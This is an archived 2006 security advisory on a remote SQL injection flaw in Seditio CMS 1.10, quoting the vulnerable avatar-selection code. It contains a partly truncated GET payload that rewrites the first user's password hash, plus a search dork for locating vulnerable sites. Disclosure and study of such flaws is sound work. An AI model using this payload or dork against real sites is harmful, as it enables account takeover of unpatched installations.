AOH :: HP Unsorted S :: B06-5960.HTM

Seditio <= 1.10 Remote SQL Injection Vulnerability.
Advisory: Seditio <= 1.10 Remote SQL Injection Vulnerability.
Advisory: Seditio <= 1.10 Remote SQL Injection Vulnerability.

--Security Report--
Advisory: Seditio <= 1.10 Remote SQL Injection Vulnerability.
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
Date: 21/10/06 09:44 PM
ICQ: 10072
Vendor: Neocrome ( 
Version: 1.10 also prior versions must be affected.
About: Via this methods remote attacker can manipulate SQL query and  
change everything in Seditio's user database.Vulnerable code can be  
found in at lines 108-116

-Source in system/core/users/
108: case 'avatarselect':
109: /* ============= */
111: sed_check_xg();
112: $avatar = $cfg['defav_dir'].urldecode($id);
113: if (file_exists($avatar))
114: { $sql = sed_sql_query("UPDATE $db_users SET  
user_avatar='$avatar' WHERE user_id='".$usr['id']."'"); }
116: break;
-End of source-

As you can see "id" parameter did not sanitized properly and used with  
urldecode() function which decodes id's value so remote attacker can  
bypass magic_quotes_gpc and other functions which escapes ' strings.In  
avatarselect Seditio checks files available with file_exists function  
and urldecode help us by using null byte.
A demostration exploitation will be given in How&Example part.
Level: Highly Critical
GET ->,user_password=%2527e10adc3949ba59abbe56e057f20f883e%2527/**/where/**/user_id=1/* with this example remote attacker changes password of 1st user of Seditio to 
The XVALUE comes with your avatarselect link it's special to everyuser  
in Seditio.
For using this vulnerability you must be logged in to Seditio...
* 21/10/2006: Vulnerability found.
* 21/10/2006: Contacted with vendor and waiting reply.
Original advisory can be found at: 
Dorks: "Powered by Seditio"

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH
We do not send spam. If you have received spam bearing an email address, please forward it with full headers to